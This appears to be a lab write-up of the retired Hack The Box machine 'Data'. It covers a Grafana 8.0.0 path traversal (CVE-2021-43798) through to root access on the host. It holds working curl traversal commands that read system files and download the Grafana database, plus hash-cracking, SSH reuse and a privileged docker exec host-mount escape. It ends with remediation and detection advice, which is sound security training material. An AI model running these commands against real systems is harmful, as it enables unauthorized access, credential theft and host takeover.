Skip to content

Data — Grafana Path Traversal to Docker Container Escape

Tools
rustscan, curl, sqlite3, hashcat, ssh, docker
Skill demonstrated
Web path traversal, credential recovery, and container escape
Tags
  • linux
  • grafana
  • cve
  • container-escape
  • docker
Field Value
Difficulty Easy
Target environment Linux host running Grafana 8.0.0 (Grafana process inside a container)
Starting position Unauthenticated network access
Objective Escalate from an unauthenticated Grafana file read to root on the host
Outcome User SSH access and root-level host filesystem access via a privileged docker exec

Data is a retired Hack The Box Linux machine running Grafana 8.0.0. The release is vulnerable to CVE-2021-43798, an unauthenticated path traversal in Grafana plugin asset paths that reads arbitrary files; the most useful target is the Grafana SQLite database holding password hashes and salts. A cracked credential authenticates over SSH, and a permissive sudo rule for docker exec lets that user enter the Grafana container as root, mount the host filesystem, and reach root-owned files. Credential values, target addresses, and container identifiers are replaced with role-based placeholders; command syntax is preserved.

Attack path: Grafana 8.0.0 → CVE-2021-43798 path traversal → grafana.db exfiltration → offline hash cracking → SSH as boris → sudo docker exec into a privileged container → host filesystem mount → root

  • Target: a Linux host running Grafana 8.0.0 inside a container, with no patch applied.
  • Exposed services: SSH (22) and Grafana HTTP (3000).
  • Starting position: unauthenticated network access, with no provided credentials.
  • Objective: move from an unauthenticated application file read to user access and root, and demonstrate the impact of an over-permissive container privilege rule.
  • Constraints: activity was confined to the Hack The Box lab environment.

Observation: a full scan exposes two services, one of them the vulnerable Grafana release.

Terminal window
rustscan -a <TARGET_IP> --ulimit 5000 -- -Pn -sC -sV -oN <OUT_PREFIX>

Truncated scan output:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7
3000/tcp open http Grafana http

The Grafana login page discloses the running build:

v8.0.0 (41f0542c1e)

Significance: Grafana 8.0.0 is within the affected range for CVE-2021-43798, and SSH is the interactive access service the recovered credential will target.

Result: SSH and Grafana are identified, and the vulnerable Grafana version is confirmed from the login page without deeper fingerprinting.

2. CVE-2021-43798 — Grafana Path Traversal

Section titled “2. CVE-2021-43798 — Grafana Path Traversal”

Observation: Grafana serves plugin static assets from public/plugins/<PLUGIN_ID>/ without normalizing ../ sequences, so a crafted path escapes the plugins directory and reads arbitrary files.

Terminal window
curl --path-as-is \
"http://<TARGET_IP>:3000/public/plugins/<PLUGIN_ID>/../../../../../../../../etc/passwd"

The response returns the requested file:

root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
...

Significance: the traversal needs no authentication, and the /bin/ash shell in the password entry indicates the Grafana process runs in an Alpine-based container. The application database is then retrieved through the same primitive:

Terminal window
curl -o grafana.db --path-as-is \
"http://<TARGET_IP>:3000/public/plugins/<PLUGIN_ID>/../../../../../../../../var/lib/grafana/grafana.db"

Result: unauthenticated arbitrary file read is confirmed, and grafana.db is exfiltrated for offline analysis.

Observation: Grafana stores local user records in the SQLite database, including the password verification material.

Terminal window
sqlite3 grafana.db
sqlite> .tables
sqlite> select login,email,password,salt from user;

The query returns records for two accounts (hash and salt values redacted):

admin | <ADMIN_HASH> | <ADMIN_SALT>
boris | <BORIS_HASH> | <BORIS_SALT>

Significance: Grafana derives these values with PBKDF2-SHA256, stored as sha256:10000:<base64 salt>:<base64 hash>, which matches Hashcat mode 10900 once the salt and hash are base64-encoded into that layout.

Terminal window
hashcat -m 10900 grafana.hash /usr/share/wordlists/rockyou.txt

The crack recovers one plaintext value:

boris:<BORIS_PASSWORD>

Result: a credential for boris is recovered; authentication is confirmed in the next stage.

Observation: SSH is exposed on port 22, and the recovered credential is reused against it.

Terminal window
ssh boris@<TARGET_IP>

Authentication returns a shell:

boris@data:~$

Significance: the credential recovered from grafana.db authenticates directly over SSH, confirming cross-service reuse of the same secret.

Result: an authenticated user-level shell as boris is obtained.

5. Privilege Escalation — Sudo Docker Rights

Section titled “5. Privilege Escalation — Sudo Docker Rights”

Observation: the user’s sudo policy is inspected for delegable root commands.

Terminal window
sudo -l
User boris may run the following commands on localhost:
(root) NOPASSWD: /snap/bin/docker exec *

Significance: the rule grants passwordless docker exec as root. The target container name is recovered through the same path-traversal primitive:

Terminal window
curl --path-as-is \
"http://<TARGET_IP>:3000/public/plugins/<PLUGIN_ID>/../../../../../../../../etc/hostname"
<CONTAINER_ID>

Action, shown as placeholder patterns:

Terminal window
sudo /snap/bin/docker exec -u root --privileged -it <CONTAINER_ID> sh
Terminal window
fdisk -l
mkdir /mnt/host
mount /dev/sda1 /mnt/host

The source records the host root filesystem mounting successfully from inside the privileged container; no separate command output for the mount was captured.

Significance: a docker exec granted --privileged, reachable through the passwordless sudo rule, exposes the host block devices, so mounting them from the container gives read and write access to host-owned files.

Result: root-equivalent access to the host filesystem is obtained through the container.

Challenge Decision Rationale
No host shell, but a sudo rule for docker exec Reused the path-traversal file read to obtain the container hostname, then targeted that container The sudo rule applies to docker exec, so the running container identity had to be established first
Identifying the vulnerable Grafana release Read the version banner from the login page Grafana 8.0.0 is directly in the CVE-2021-43798 affected range, so no deeper fingerprinting was needed

The evidence establishes unauthenticated arbitrary file read through CVE-2021-43798, offline recovery of a Grafana credential that authenticates over SSH, and root-level access to the host filesystem through a privileged docker exec into the Grafana container. No further host privilege-escalation technique was required once the container was reachable under the delegated docker exec rule.

The actions below are recommendations; none was validated in the lab. Each finding pairs the observed root cause with its demonstrated impact and a prioritized action.

  1. Vulnerable Grafana release. Grafana 8.0.0 ships within the CVE-2021-43798 affected range, allowing unauthenticated file read through plugin asset paths. Recommendation: upgrade to a patched release (8.0.7, 8.1.8, 8.2.7, or 8.3.1) and track the vendor advisory. Detection: alert on ../ traversal sequences in requests to public/plugins/.
  2. Application secrets reachable in grafana.db. Local user password hashes and salts could be exfiltrated and cracked offline. Recommendation: limit filesystem exposure from the web service, rotate affected credentials, and never reuse Grafana account passwords for SSH. Detection: monitor for large reads of grafana.db and for its retrieval by the Grafana service account.
  3. Permissive docker exec sudo rule. Passwordless docker exec as root, combined with a container holding host device access, yielded root on the host. Recommendation: do not allow --privileged in the delegated docker exec or expose host device mounts. Detection: treat privileged docker exec * sudo grants and --privileged container starts as findings to review.
  4. Container identifier disclosure via file read. The same traversal leaked the container hostname, enabling precise targeting of docker exec. Recommendation: fixing the underlying traversal removes this reconnaissance step; restrict service account visibility into container metadata.
Edit page

Last updated: